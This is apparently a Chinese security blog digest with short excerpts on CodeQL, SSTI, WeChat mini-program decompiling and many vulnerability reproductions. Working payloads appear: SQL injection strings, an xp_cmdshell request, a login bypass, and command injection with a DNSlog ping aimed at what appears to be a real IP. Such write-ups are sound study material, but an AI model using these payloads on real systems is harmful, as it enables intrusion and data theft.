codeql学习指南

如何安装

安装codeql

基本查询

查询结构

查询基本包含3部分,作用与SQL查询的FROM、WHERE、SELECT部分类似。

查询部分 目的 细节
import java 为 Java 和 Kotlin 导入标准 CodeQL 库。 每个查询都以一个或多个语句开始import
from MethodAccess ma 定义查询的变量。声明的形式为: <type> <variable name> 我们用:MethodAccess调用表达式的变量
where ma.getMethod().hasName("equals") and ma.getArgument(0).(StringLiteral).getValue() = "" 定义变量的条件。 ma.getMethod().hasName("equals")仅限ma于调用方法 call equalsma.getArgument(0).(StringLiteral).getValue() = ""说参数必须是文字的""
select ma, "This comparison to empty string is inefficient, use isEmpty() instead." 定义每次匹配报告的内容。select用于查找不良编码实践实例的查询语句始终采用以下形式: select <program element>, "<alert message>" .equals使用解释问题的字符串报告生成的表达式。

OSS云存储相关安全风险

​ OSS服务作为一项重要的云上服务,承担了存储用户数据的重要功能。对象存储服务提供了细粒度的访问权限控制功能,以保证用户数据的安全性。如果使用OSS服务时安全意识不足或对访问权限以及访问策略错误理解,将会导致数据被非法访问或篡改,产生严重后果。

本文将介绍下相关OSS云存储相关方面的风险问题,老规矩先上一张图。

image-20230330091632227

SSTI模版注入学习

模版引擎

模版引擎(这里特指用于Web开发的模版引擎)是为了使用户界面与业务数据(内容)分离而产生的,他可以生成特定格式的文档,利用模版引擎来生成前端的html代码,模版引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模版+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模版引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

SSTI(模版注入)

SSTI就是服务器端模版注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的MVC模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给Vier视图层,经过模版渲染展示给 用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未进过任何处理就将其作为Web应用模版的一部分,模版引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模版的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模版的地方都可能会出现SSTI的问题,SSTI不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模版引擎发现了很大的安全漏洞,然后模版引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模块引擎。

附表

image-20220120174838082


常用Dict使用集合

身份证后六位:

import itertools
if __name__ == '__main__':
date = input("出生日期: ")
sex = '02468' if int(input("性别(男1女2): ")) % 2 == 0 else '13579' # 性别位
check = '0123456789X' # 校验位
other = '0123456789' # 其它位
nums = itertools.product(other, other, sex, check)
cards = []
for num in nums:
card = date + "".join(num)
cards.append(card)
print(len(cards))
print(cards)

微信小程序反编译

环境准备

Mac os 11.2.2
网易MUMU模拟器
APP文件管理器
微信开发者工具:Stable Build (1.05.2108130)

获取小程序包

1.使用自己手机上的微信打开对应的小程序,可以添加到"我的小程序"
2.打开模拟器的微信并登录
3.在模拟器微信的下拉小程序最近使用历史中打开"你所选的小程序",如果历史记录中没有就在我的小程序中找一找
4.打开小程序等待加载之后就可以去找源码包了
5.打开对应的文件管理器,进入到以下路径查找源码包(可以根据下载时间区分出你想要的源码包)
6.拷贝到mumu浏览器共享目录

小程序存放路径如下:/data/data/com.tencent.mm/MicroMsg/…/appbrand/pkg/

…部分根据时间戳或者单点击一个小程序在进行测试,大部分为03075c115f972899a1b1b8cc70506599这种

image-20210913181136982


Java-sec-code学习记录

0x00 前言

​ 最近在搞Java类的代码审计,看到这个项目记录一下自己的学习过程

0x01环境配置

Mac os 11.2.2
tomcat 8.5
idea
msyql 8.0.70

导入idea项目配置本地tomcat

git clone https://github.com/JoyChou93/java-sec-code
cd java-sec-code
mvn clean package

Spring Boot Actuator H2 RCE漏洞复现

漏洞概述

Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。

HikariCP数据库连接池

之前的两个RCE都是在Spring Boot 1.x版本下进行的,在spring 2.x下的版本如何进行RCE呢。幸运的是,Spring Boot 2.x默认使用的HikariCP数据库连接池提供了一个可以RCE的变量。这个变量就是spring.datasource.hikari.connection-test-query。这个变量与HikariCP中的connectionTestQuery配置相匹配。根据文档,此配置定义的是在从池中给出一个连接之前被执行的query,它的作用是验证数据库连接是否处于活动状态。简言之,无论何时一个恶心的数据库连接被建立时,spring.datasource.hikari.connection-test-query的值将会被作为一个SQL语句执行。然后利用SQL语句中的用户自定义函数,进行RCE。


Smartbi 漏洞总结

SmartBi简介

Smartbi是企业级商业智能和大数据分析平台,满足用户在企业级报表、数据可视化分析、自助分析平台、数据挖掘建模、AI智能分析等大数据分析需求。该软件应用范围较广,据官网介绍,在全球财富500强的10家国内银行,有8家选用了Smartbi。

登录入口

https://127.0.0.1/vision/mobileportal.jsp

https://127.0.0.1/vision/mobileX/login

https://127.0.0.1/vision/index.jsp

密码正确的情况下,部分平台无法登陆,此时设置user-agent为手机端就可以。


kindeditor<=4.1.5上传漏洞复现

漏洞描述

漏洞存在于kindeditor编辑器里,你能上传.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在于小于等于kindeditor4.1.5编辑器中

这里html里面可以嵌套暗链接地址以及嵌套xss。Kindeditor上的uploadbutton.html用于文件上传功能页面,直接POST到/upload_json.*?dir=file,在允许上传的文件扩展名中包含htm,txt:extTable.Add(“file”,”doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2”)


Apereo Cas 4.1.x 反序列化命令执行漏洞

概要

Apereo CAS 是一款 Apereo 发布的集中认证服务平台,常被用于企业内部单点登录系统。其 4.1.7 版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

漏洞描述

其实这个洞在2016年时候就出来了,Apereo Cas一般是用来做身份认证的,所以有一定的攻击面,漏洞的成因是因为key的默认硬编码,导致可以通过反序列化配合Gadget使用。

漏洞原理实际上是 Webflow 中使用了默认密钥 changeit

public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;

public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}

SQLI labs 靶场学习记录

基础挑战1-20关

less-1

1' order by 3%23    //得到列数为3
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //得到数据库名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'%23 //得到表名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'%23 //得到列名
-1' union select 1,username,password from users where id=3%23 //爆破得到数据

AppWeb认证绕过漏洞(CVE-2018-8715)

摘要

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置,其认证方式包括以下三种:

1、basic 传统HTTP基础认证

2、digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头

3、form 表单认证

ActiveMQ漏洞复现分析以及POC(CVE-2016-3088)

影响版本

影响版本:Apache ActiveMQ 5.0.0 – 5.13.2
ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用
5.14.0版本以后,彻底删除fileserver

环境搭建

vulhub拉取漏洞环境docker启动

docker-compose up -d

Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现以及脚本编写

漏洞介绍

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞,开发人员使用了 %{…} 语法,从而攻击者可以通过构Payload,从而造成远程代码执行。

影响版本

Apache Struts2:2.0.0 - 2.5.25


Pligg远程命令执行(CVE-2020-25287)

漏洞描述

the_file由于无需检查扩展名,我们可以通过模板编辑器菜单使用参数来访问任何文件,然后将webshell创建到现有的php文件中

影响版本

Pligg2.0.3版本


Apache DolphinScheduler远程代码执行(CVE-2020-11974)

Apache DolphinScheduler组件介绍

​ Apache DolphinScheduler(incubator,原EasyScheduler)是一个分布式工作流任务调度系统,主要解决数据研发ETL错综复杂的依赖关系,不能直观监控任务健康状态。DolphinScheduler以DAG流式的方式将Task组装起来,可实时监控任务的运行状态,同时支持重试、从指定节点恢复失败、暂停及Kill任务等操作。

漏洞描述

​ CVE-2020-11974与mysql connectorj远程执行代码漏洞有关,在选择mysql作为数据库时,攻击者可通过jdbc connect参数输入{“detectCustomCollations”:true,“autoDeserialize”:true} 在DolphinScheduler 服务器上远程执行代码。

影响版本

受影响版本
Apache DolphinScheduler = 1.2.0、1.2.1

安全版本
Apache DolphinScheduler >= 1.3.1


Apache DolphinScheduler权限覆盖漏洞(CVE-2020-13922)

漏洞描述

发现的漏洞是任何租户下的普通用户都可以通过以下方式覆盖其他用户的密码
api interface /dolphinscheduler/users/update

受影响的版本

受影响版本
Apache DolphinScheduler = 1.2.0、1.2.1、1.3.1

安全版本
Apache DolphinScheduler >= 1.3.2


通达OA v11.7 后台SQL注入

利用条件

需要登录权限

原文作者给出了利用链注入加mysql权限,又是写木马的。用起来很舒服

/general/hr/manage/query/delete_cascade.php?condition_cascade=select%20if((substr(user(),1,1)=%27r%27),1,power(9999,99))

通达OA任意用户登陆

1、首先访问 /ispirit/login_code.php 获取 codeuid。

2、访问 /general/login_code_scan.php 提交 post 参数:

uid=1&codeuid={9E908086-342B-2A87-B0E9-E573E226302A}


泛微OA云桥任意文件读取和目录遍历漏洞

未授权任意文件读取,/wxjsapi/saveYZJFile接口获取filepath,输入文件路径->读取文件内容。返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。


检测PHP网站是否被攻破的方法

0x01 查看访问日志

查看是否有文件上传操作

IPREMOVED - - [01/Mar/2013:06:16:48 -0600] "POST/uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" IPREMOVED - - [01/Mar/2013:06:12:58 -0600] "POST/public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"

mybatis框架sql注入针对性渗透测试与修复

mybatis框架sql注入针对性渗透测试与修复

0X00背景

在国内,政府、国企、央企等重点单位的内网应用系统基本都以JAVA为主。由于重点单位对于应用系统的性能、功能、扩展性等各方面及厂商开发快速性要求,SSM框架成为系统架构首选。这种情况下,有必要对梳理SSM框架相关的渗透测试入侵点。本文将针对Mybatis框架易发生注入的点做简单讨论。


绿盟UTS综合威胁探针管理员任意登录

绿盟全流量威胁分析解决方案针对原始流量进行采集和监控,对流量信息进行深度还原、存储、查询和分析,可以及时掌握重要信息系统相关网络安全威胁风险,及时检测漏洞、病毒木马、网络攻击情况,及时发现网络安全事件线索,及时通报预警重大网络安全威胁,调查、防范和打击网络攻击等恶意行为,保障重要信息系统的网络安全。
绿盟综合威胁探针设备版本V2.0R00F02SP02及之前存在此漏洞。


用友GRP-u8 注入

image-20200914141058235

POST /Proxy HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)Host: localhostContent-Length: 341Connection: Keep-AliveCache-Control: no-cache
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'whoami'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

天融信TopApp-LB 负载均衡系统Sql注入漏洞

image-20200913015312879

POST /acc/clsf/report/datasource.php HTTP/1.1Host: localhostConnection: closeAccept: text/javascript, text/html, application/xml, text/xml, */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Content-Type: application/x-www-form-urlencoded t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22--+&gid=0&lmt=10&o=r_Speed&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&rpt=@。。

网友称以下两个历史漏洞仍然可以复现。

https://www.uedbox.com/post/21626/

简要描述:

天融信负载均衡TopApp-LB系统无需密码直接登陆

详细说明:

.../.../.../https://.../

用户名随意  密码:;id

漏洞证明:

img

img

img

https://www.uedbox.com/post/22193/

TopApp-LB负载均衡(绝对是随机找的)https://101.231.40.234/执行命令

执行命令

; ping 9928e5.dnslog.info; echo

img

命令被成功执行,效果如图。

img


Java反序列化漏洞学习实践一-从Serializbale接口开始先弹一个计算器

0x0、基本概念

1、什么是序列化和反序列化

Serialization(序列化)是指把Java对象保存为二进制字节码的过程;反序列化deserialization是把二进制码重新转换成Java对象的过程。

2、什么情况下需要序列化

a)当你想把的内存中的对象保存到一个文件中或者数据库中时候;

b)当你想用套接字在网络上传送对象的时候;

c)当你想通过RMI传输对象的时候;

总之,序列化的用途就是传递和存储。

3、如何实现序列化

将需要序列化的类实现Serializable接口就可以了,Serializable接口中没有任何方法,可以理解为一个标记,即表明这个类可以被序列化。

序列化与反序列化都可以理解为“写”和“读”操作 ,通过如下这两个方法可以将对象实例进行“序列化”与“反序列化”操作。